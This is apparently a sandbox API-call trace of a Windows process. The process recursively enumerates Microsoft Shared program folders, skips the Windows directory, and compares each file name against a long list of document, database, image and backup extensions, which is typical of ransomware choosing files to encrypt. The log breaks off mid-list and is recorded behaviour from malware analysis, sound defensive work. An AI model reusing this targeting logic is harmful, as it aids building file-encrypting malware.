ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0044.226] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0044.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.226] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0044.226] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0044.234] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0044.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.234] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.234] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0044.235] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.235] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0044.235] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0044.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.235] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0044.235] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0044.235] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0044.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.269] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.275] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0044.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 71 [0044.275] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 1 [0044.275] lstrlenW (lpString="14") returned 2 [0044.275] lstrcmpiW (lpString1="C:\\Windows", lpString2="14") returned 1 [0044.275] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0044.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 71 [0044.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0044.276] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.276] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0044.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 75 [0044.276] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 1 [0044.276] lstrlenW (lpString="BIN") returned 3 [0044.276] lstrcmpiW (lpString1="C:\\Windows", lpString2="BIN") returned 1 [0044.276] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36a0730 [0044.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN") returned 75 [0044.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.276] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.277] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 80 [0044.277] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 1 [0044.277] lstrlenW (lpString="1033") returned 4 [0044.277] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0044.277] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0044.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033") returned 80 [0044.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.277] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.277] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0044.277] lstrlenW (lpString="FPEXT.MSG") returned 9 [0044.277] lstrlenW (lpString=".1cd") returned 4 [0044.277] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0044.277] lstrlenW (lpString=".3ds") returned 4 [0044.277] lstrcmpiW (lpString1=".3ds", lpString2=".MSG") returned -1 [0044.277] lstrlenW (lpString=".3fr") returned 4 [0044.277] lstrcmpiW (lpString1=".3fr", lpString2=".MSG") returned -1 [0044.277] lstrlenW (lpString=".3g2") returned 4 [0044.277] lstrcmpiW (lpString1=".3g2", lpString2=".MSG") returned -1 [0044.277] lstrlenW (lpString=".3gp") returned 4 [0044.277] lstrcmpiW (lpString1=".3gp", lpString2=".MSG") returned -1 [0044.277] lstrlenW (lpString=".7z") returned 3 [0044.277] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0044.277] lstrlenW (lpString=".accda") returned 6 [0044.277] lstrcmpiW (lpString1=".accda", lpString2="XT.MSG") returned -1 [0044.277] lstrlenW (lpString=".accdb") returned 6 [0044.277] lstrcmpiW (lpString1=".accdb", lpString2="XT.MSG") returned -1 [0044.278] lstrlenW (lpString=".accdc") returned 6 [0044.278] lstrcmpiW (lpString1=".accdc", lpString2="XT.MSG") returned -1 [0044.278] lstrlenW (lpString=".accde") returned 6 [0044.278] lstrcmpiW (lpString1=".accde", lpString2="XT.MSG") returned -1 [0044.278] lstrlenW (lpString=".accdt") returned 6 [0044.278] lstrcmpiW (lpString1=".accdt", lpString2="XT.MSG") returned -1 [0044.278] lstrlenW (lpString=".accdw") returned 6 [0044.278] lstrcmpiW (lpString1=".accdw", lpString2="XT.MSG") returned -1 [0044.278] lstrlenW (lpString=".adb") returned 4 [0044.278] lstrcmpiW (lpString1=".adb", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".adp") returned 4 [0044.278] lstrcmpiW (lpString1=".adp", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai") returned 3 [0044.278] lstrcmpiW (lpString1=".ai", lpString2="MSG") returned -1 [0044.278] lstrlenW (lpString=".ai3") returned 4 [0044.278] lstrcmpiW (lpString1=".ai3", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai4") returned 4 [0044.278] lstrcmpiW (lpString1=".ai4", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai5") returned 4 [0044.278] lstrcmpiW (lpString1=".ai5", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai6") returned 4 [0044.278] lstrcmpiW (lpString1=".ai6", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai7") returned 4 [0044.278] lstrcmpiW (lpString1=".ai7", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".ai8") returned 4 [0044.278] lstrcmpiW (lpString1=".ai8", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".anim") returned 5 [0044.278] lstrcmpiW (lpString1=".anim", lpString2="T.MSG") returned -1 [0044.278] lstrlenW (lpString=".arw") returned 4 [0044.278] lstrcmpiW (lpString1=".arw", lpString2=".MSG") returned -1 [0044.278] lstrlenW (lpString=".as") returned 3 [0044.278] lstrcmpiW (lpString1=".as", lpString2="MSG") returned -1 [0044.278] lstrlenW (lpString=".asa") returned 4 [0044.278] lstrcmpiW (lpString1=".asa", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".asc") returned 4 [0044.279] lstrcmpiW (lpString1=".asc", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".ascx") returned 5 [0044.279] lstrcmpiW (lpString1=".ascx", lpString2="T.MSG") returned -1 [0044.279] lstrlenW (lpString=".asm") returned 4 [0044.279] lstrcmpiW (lpString1=".asm", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".asmx") returned 5 [0044.279] lstrcmpiW (lpString1=".asmx", lpString2="T.MSG") returned -1 [0044.279] lstrlenW (lpString=".asp") returned 4 [0044.279] lstrcmpiW (lpString1=".asp", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".aspx") returned 5 [0044.279] lstrcmpiW (lpString1=".aspx", lpString2="T.MSG") returned -1 [0044.279] lstrlenW (lpString=".asr") returned 4 [0044.279] lstrcmpiW (lpString1=".asr", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".asx") returned 4 [0044.279] lstrcmpiW (lpString1=".asx", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".avi") returned 4 [0044.279] lstrcmpiW (lpString1=".avi", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".avs") returned 4 [0044.279] lstrcmpiW (lpString1=".avs", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".backup") returned 7 [0044.279] lstrcmpiW (lpString1=".backup", lpString2="EXT.MSG") returned -1 [0044.279] lstrlenW (lpString=".bak") returned 4 [0044.279] lstrcmpiW (lpString1=".bak", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".bay") returned 4 [0044.279] lstrcmpiW (lpString1=".bay", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".bd") returned 3 [0044.279] lstrcmpiW (lpString1=".bd", lpString2="MSG") returned -1 [0044.279] lstrlenW (lpString=".bin") returned 4 [0044.279] lstrcmpiW (lpString1=".bin", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".bmp") returned 4 [0044.279] lstrcmpiW (lpString1=".bmp", lpString2=".MSG") returned -1 [0044.279] lstrlenW (lpString=".bz2") returned 4 [0044.280] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".c") returned 2 [0044.280] lstrcmpiW (lpString1=".c", lpString2="SG") returned -1 [0044.280] lstrlenW (lpString=".cdr") returned 4 [0044.280] lstrcmpiW (lpString1=".cdr", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cer") returned 4 [0044.280] lstrcmpiW (lpString1=".cer", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cf") returned 3 [0044.280] lstrcmpiW (lpString1=".cf", lpString2="MSG") returned -1 [0044.280] lstrlenW (lpString=".cfc") returned 4 [0044.280] lstrcmpiW (lpString1=".cfc", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cfm") returned 4 [0044.280] lstrcmpiW (lpString1=".cfm", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cfml") returned 5 [0044.280] lstrcmpiW (lpString1=".cfml", lpString2="T.MSG") returned -1 [0044.280] lstrlenW (lpString=".cfu") returned 4 [0044.280] lstrcmpiW (lpString1=".cfu", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".chm") returned 4 [0044.280] lstrcmpiW (lpString1=".chm", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cin") returned 4 [0044.280] lstrcmpiW (lpString1=".cin", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".class") returned 6 [0044.280] lstrcmpiW (lpString1=".class", lpString2="XT.MSG") returned -1 [0044.280] lstrlenW (lpString=".clx") returned 4 [0044.280] lstrcmpiW (lpString1=".clx", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".config") returned 7 [0044.280] lstrcmpiW (lpString1=".config", lpString2="EXT.MSG") returned -1 [0044.280] lstrlenW (lpString=".cpp") returned 4 [0044.280] lstrcmpiW (lpString1=".cpp", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".cr2") returned 4 [0044.280] lstrcmpiW (lpString1=".cr2", lpString2=".MSG") returned -1 [0044.280] lstrlenW (lpString=".crt") returned 4 [0044.281] lstrcmpiW (lpString1=".crt", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".crw") returned 4 [0044.281] lstrcmpiW (lpString1=".crw", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".cs") returned 3 [0044.281] lstrcmpiW (lpString1=".cs", lpString2="MSG") returned -1 [0044.281] lstrlenW (lpString=".css") returned 4 [0044.281] lstrcmpiW (lpString1=".css", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".csv") returned 4 [0044.281] lstrcmpiW (lpString1=".csv", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".cub") returned 4 [0044.281] lstrcmpiW (lpString1=".cub", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dae") returned 4 [0044.281] lstrcmpiW (lpString1=".dae", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dat") returned 4 [0044.281] lstrcmpiW (lpString1=".dat", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".db") returned 3 [0044.281] lstrcmpiW (lpString1=".db", lpString2="MSG") returned -1 [0044.281] lstrlenW (lpString=".dbf") returned 4 [0044.281] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dbx") returned 4 [0044.281] lstrcmpiW (lpString1=".dbx", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dc3") returned 4 [0044.281] lstrcmpiW (lpString1=".dc3", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dcm") returned 4 [0044.281] lstrcmpiW (lpString1=".dcm", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dcr") returned 4 [0044.281] lstrcmpiW (lpString1=".dcr", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".der") returned 4 [0044.281] lstrcmpiW (lpString1=".der", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dib") returned 4 [0044.281] lstrcmpiW (lpString1=".dib", lpString2=".MSG") returned -1 [0044.281] lstrlenW (lpString=".dic") returned 4 [0044.282] lstrcmpiW (lpString1=".dic", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dif") returned 4 [0044.282] lstrcmpiW (lpString1=".dif", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".divx") returned 5 [0044.282] lstrcmpiW (lpString1=".divx", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".djvu") returned 5 [0044.282] lstrcmpiW (lpString1=".djvu", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".dng") returned 4 [0044.282] lstrcmpiW (lpString1=".dng", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".doc") returned 4 [0044.282] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".docm") returned 5 [0044.282] lstrcmpiW (lpString1=".docm", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".docx") returned 5 [0044.282] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".dot") returned 4 [0044.282] lstrcmpiW (lpString1=".dot", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dotm") returned 5 [0044.282] lstrcmpiW (lpString1=".dotm", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".dotx") returned 5 [0044.282] lstrcmpiW (lpString1=".dotx", lpString2="T.MSG") returned -1 [0044.282] lstrlenW (lpString=".dpx") returned 4 [0044.282] lstrcmpiW (lpString1=".dpx", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dqy") returned 4 [0044.282] lstrcmpiW (lpString1=".dqy", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dsn") returned 4 [0044.282] lstrcmpiW (lpString1=".dsn", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dt") returned 3 [0044.282] lstrcmpiW (lpString1=".dt", lpString2="MSG") returned -1 [0044.282] lstrlenW (lpString=".dtd") returned 4 [0044.282] lstrcmpiW (lpString1=".dtd", lpString2=".MSG") returned -1 [0044.282] lstrlenW (lpString=".dwg") returned 4 [0044.283] lstrcmpiW (lpString1=".dwg", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".dwt") returned 4 [0044.283] lstrcmpiW (lpString1=".dwt", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".dx") returned 3 [0044.283] lstrcmpiW (lpString1=".dx", lpString2="MSG") returned -1 [0044.283] lstrlenW (lpString=".dxf") returned 4 [0044.283] lstrcmpiW (lpString1=".dxf", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".edml") returned 5 [0044.283] lstrcmpiW (lpString1=".edml", lpString2="T.MSG") returned -1 [0044.283] lstrlenW (lpString=".efd") returned 4 [0044.283] lstrcmpiW (lpString1=".efd", lpString2=".MSG") returned -1 [0044.283] lstrlenW 